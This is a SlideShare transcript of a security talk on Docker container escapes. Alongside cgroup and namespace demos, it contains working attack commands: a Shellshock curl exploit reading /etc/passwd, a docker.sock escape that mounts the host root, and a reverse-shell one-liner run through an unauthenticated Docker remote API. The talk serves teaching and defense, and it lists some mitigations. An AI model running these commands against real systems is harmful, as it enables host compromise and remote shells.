SlideShare a Scribd company logo
Vaibhav Gupta
Twitter: @VaibhavGupta_1
Its all about Docker!
§ About Docker – 1 min Primer
§ Cgroups & Namespaces – Quick Demo
§ Docker Attack Surface
1. Exploiting Vulnerable Images
2. Docker --privilege flag
3. Privilege Esc. Using Docker.Sock
4. Abusing Docker Remote API
§ Docker is just way of running processes with limited privileges
§ DEMO
§ docker run -it ubuntu sh
§ ps aux | grep sleep
§ Cgroups
§ docker run -itd --pids-limit 5 alpine
§ sleep 10 & sleep 10 & sleep 10 & sleep 10 & sleep 10 & sleep 10
§ Namespaces (E.g. User Names)
§ vi /tmp/root-file.txt
§ docker run -itd -v /tmp:/shared alpine
§ Edit the file within container
§ Mitigation
§ sudo dockerd --userns-remap=default
DOCKER
ATTACK
SURFACE
• Vulnerable Images
• Container running with unintended
privileges
• Docker Daemon Misconfigurations
• Un-Auth Docker Client Remote API
• Misconfigured or Vulnerable Hosts
• Insecure Registry
• Backdoored Images
• ??
EXPLOITING
VULNERABLE
IMAGES
§ Sample Vulnerable App
§ docker run --rm -it -p 8080:80
vulnerables/cve-2014-6271
§ Exploitation
§ curl -H "user-agent: () { :; }; echo; echo;
/bin/bash -c 'cat /etc/passwd'"
http://vulnerable-server:8080/cgi-
bin/vulnerable
§ Some Container require /var/run/docker.sock to be mounted on containers
§ It is required if docker container requires to interact with host
§ For e.g. – ‘Dockerized’ Host Monitoring Application
ü docker run -itd -v /var/run/docker.sock:/var/run/docker.sock alpine
ü docker exec -it <id> sh
ü apk update
ü apk add -U docker
ü docker -H unix:///var/run/docker.sock run -it -v /:/test:ro -t alpine sh
§ Allows to interact with remote Docker Daemon
§ No authentication required - By Default
§ Lets gain shell!
ü sudo apt install jq
ü sudo vi /lib/systemd/system/docker.service
ü ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375
ü sudo systemctl daemon-reload
ü sudo service docker restart
ü curl http://localhost:2375/containers/json | jq
ü docker -H tcp://localhost:2375 run --rm -v /:/mnt ubuntu chroot /mnt /bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1"
§ docker run -itd alpine
§ docker run --rm -it --cap-drop=NET_RAW alpine sh
§ ping 127.0.0.1 -c 2
§ Printing Capabilities: capsh --print
§ https://docs.docker.com/engine/security/security/
§ https://docs.docker.com/engine/security/userns-remap/
§ https://securityboulevard.com/2019/02/abusing-docker-api-socket/
§ Email:Vaibhav.Gupta @ owasp.org
§ Twitter: @VaibhavGupta_1
§ Blog: https://exploits.work

More Related Content

PPTX
Docker orchestration
PDF
Launching containers with fleet
PDF
Docker 101 - from 0 to Docker in 30 minutes
PDF
CoreOS : 설치부터 컨테이너 배포까지
PPTX
Austin - Container Days - Docker 101
PDF
Provisioning & Deploying with Docker
PDF
Docker 初探,實驗室中的運貨鯨
PDF
Running Django on Docker: a workflow and code
Docker orchestration
Launching containers with fleet
Docker 101 - from 0 to Docker in 30 minutes
CoreOS : 설치부터 컨테이너 배포까지
Austin - Container Days - Docker 101
Provisioning & Deploying with Docker
Docker 初探,實驗室中的運貨鯨
Running Django on Docker: a workflow and code

What's hot (20)

PDF
CI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
PDF
Infrastructure Deployment with Docker & Ansible
PDF
dockerizing web application
PDF
Introduction to docker security
PDF
DCSF 19 Deploying Rootless buildkit on Kubernetes
PDF
當專案漸趕,當遷移也不再那麼難 (Ship Your Projects with Docker EcoSystem)
PPT
Docker 101, Alexander Ryabtsev
PDF
Very Early Review - Rocket(CoreOS)
PPTX
Building a Docker v1.12 Swarm cluster on ARM
PPTX
Orchestration? You Don't Need Orchestration. What You Want Is Choreography by...
PDF
Docker 原理與實作
PDF
CoreOS Overview
PDF
Docker orchestration using core os and ansible - Ansible IL 2015
PDF
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
PDF
Docker puppetcamp london 2013
PDF
CoreOSによるDockerコンテナのクラスタリング
PDF
Docker in Action
PPTX
Docker Mentorweek beginner workshop notes
PDF
Develop QNAP NAS App by Docker
PDF
이미지 기반의 배포 패러다임 Immutable infrastructure
CI and CD at Scale: Scaling Jenkins with Docker and Apache Mesos
Infrastructure Deployment with Docker & Ansible
dockerizing web application
Introduction to docker security
DCSF 19 Deploying Rootless buildkit on Kubernetes
當專案漸趕,當遷移也不再那麼難 (Ship Your Projects with Docker EcoSystem)
Docker 101, Alexander Ryabtsev
Very Early Review - Rocket(CoreOS)
Building a Docker v1.12 Swarm cluster on ARM
Orchestration? You Don't Need Orchestration. What You Want Is Choreography by...
Docker 原理與實作
CoreOS Overview
Docker orchestration using core os and ansible - Ansible IL 2015
How Puppet Enables the Use of Lightweight Virtualized Containers - PuppetConf...
Docker puppetcamp london 2013
CoreOSによるDockerコンテナのクラスタリング
Docker in Action
Docker Mentorweek beginner workshop notes
Develop QNAP NAS App by Docker
이미지 기반의 배포 패러다임 Immutable infrastructure
Ad

Similar to Demystifying Container Escapes (20)

PDF
Docker security
PDF
Introduction to Docker - Learning containerization XP conference 2016
PDF
JDO 2019: Tips and Tricks from Docker Captain - Łukasz Lach
PDF
[Devconf.cz][2017] Understanding OpenShift Security Context Constraints
PPTX
Docker container management
PPTX
Docker workshop
PDF
Drone CI/CD 自動化測試及部署
PPTX
Docker Security workshop slides
PPTX
Running Docker in Development & Production (DevSum 2015)
PPTX
Real World Experience of Running Docker in Development and Production
PDF
PDXPortland - Dockerize Django
PDF
手把手帶你學Docker 03042017
PPTX
moscmy2016: Extending Docker
PDF
Docker, c'est bonheur !
PDF
Docker linuxday 2015
PDF
時代在變 Docker 要會:台北 Docker 一日入門篇
PDF
手把手帶你學 Docker 入門篇
PDF
Docker workshop 0507 Taichung
PDF
Things I've learned working with Docker Support
PPTX
Docker Networking - Common Issues and Troubleshooting Techniques
Docker security
Introduction to Docker - Learning containerization XP conference 2016
JDO 2019: Tips and Tricks from Docker Captain - Łukasz Lach
[Devconf.cz][2017] Understanding OpenShift Security Context Constraints
Docker container management
Docker workshop
Drone CI/CD 自動化測試及部署
Docker Security workshop slides
Running Docker in Development & Production (DevSum 2015)
Real World Experience of Running Docker in Development and Production
PDXPortland - Dockerize Django
手把手帶你學Docker 03042017
moscmy2016: Extending Docker
Docker, c'est bonheur !
Docker linuxday 2015
時代在變 Docker 要會:台北 Docker 一日入門篇
手把手帶你學 Docker 入門篇
Docker workshop 0507 Taichung
Things I've learned working with Docker Support
Docker Networking - Common Issues and Troubleshooting Techniques
Ad

Recently uploaded (20)

PDF
System and Network Administraation Chapter 3
PDF
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
PPTX
CHAPTER 2 - PM Management and IT Context
PDF
Upgrade and Innovation Strategies for SAP ERP Customers
PPTX
Introduction to Artificial Intelligence
PDF
PTS Company Brochure 2025 (1).pdf.......
PDF
How to Migrate SBCGlobal Email to Yahoo Easily
PDF
Navsoft: AI-Powered Business Solutions & Custom Software Development
PPTX
L1 - Introduction to python Backend.pptx
PDF
AI in Product Development-omnex systems
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
PDF
medical staffing services at VALiNTRY
PDF
Softaken Excel to vCard Converter Software.pdf
PDF
top salesforce developer skills in 2025.pdf
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PPTX
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
PDF
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
System and Network Administraation Chapter 3
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
CHAPTER 2 - PM Management and IT Context
Upgrade and Innovation Strategies for SAP ERP Customers
Introduction to Artificial Intelligence
PTS Company Brochure 2025 (1).pdf.......
How to Migrate SBCGlobal Email to Yahoo Easily
Navsoft: AI-Powered Business Solutions & Custom Software Development
L1 - Introduction to python Backend.pptx
AI in Product Development-omnex systems
Internet Downloader Manager (IDM) Crack 6.42 Build 41
VVF-Customer-Presentation2025-Ver1.9.pptx
medical staffing services at VALiNTRY
Softaken Excel to vCard Converter Software.pdf
top salesforce developer skills in 2025.pdf
2025 Textile ERP Trends: SAP, Odoo & Oracle
Design an Analysis of Algorithms I-SECS-1021-03
Agentic AI Use Case- Contract Lifecycle Management (CLM).pptx
EN-Survey-Report-SAP-LeanIX-EA-Insights-2025.pdf
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025

Demystifying Container Escapes

  • 2. § About Docker – 1 min Primer § Cgroups & Namespaces – Quick Demo § Docker Attack Surface 1. Exploiting Vulnerable Images 2. Docker --privilege flag 3. Privilege Esc. Using Docker.Sock 4. Abusing Docker Remote API
  • 3. § Docker is just way of running processes with limited privileges § DEMO § docker run -it ubuntu sh § ps aux | grep sleep
  • 4. § Cgroups § docker run -itd --pids-limit 5 alpine § sleep 10 & sleep 10 & sleep 10 & sleep 10 & sleep 10 & sleep 10 § Namespaces (E.g. User Names) § vi /tmp/root-file.txt § docker run -itd -v /tmp:/shared alpine § Edit the file within container § Mitigation § sudo dockerd --userns-remap=default
  • 6. • Vulnerable Images • Container running with unintended privileges • Docker Daemon Misconfigurations • Un-Auth Docker Client Remote API • Misconfigured or Vulnerable Hosts • Insecure Registry • Backdoored Images • ??
  • 7. EXPLOITING VULNERABLE IMAGES § Sample Vulnerable App § docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271 § Exploitation § curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://vulnerable-server:8080/cgi- bin/vulnerable
  • 8. § Some Container require /var/run/docker.sock to be mounted on containers § It is required if docker container requires to interact with host § For e.g. – ‘Dockerized’ Host Monitoring Application ü docker run -itd -v /var/run/docker.sock:/var/run/docker.sock alpine ü docker exec -it <id> sh ü apk update ü apk add -U docker ü docker -H unix:///var/run/docker.sock run -it -v /:/test:ro -t alpine sh
  • 9. § Allows to interact with remote Docker Daemon § No authentication required - By Default § Lets gain shell! ü sudo apt install jq ü sudo vi /lib/systemd/system/docker.service ü ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 ü sudo systemctl daemon-reload ü sudo service docker restart ü curl http://localhost:2375/containers/json | jq ü docker -H tcp://localhost:2375 run --rm -v /:/mnt ubuntu chroot /mnt /bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1"
  • 10. § docker run -itd alpine § docker run --rm -it --cap-drop=NET_RAW alpine sh § ping 127.0.0.1 -c 2 § Printing Capabilities: capsh --print
  • 12. § Email:Vaibhav.Gupta @ owasp.org § Twitter: @VaibhavGupta_1 § Blog: https://exploits.work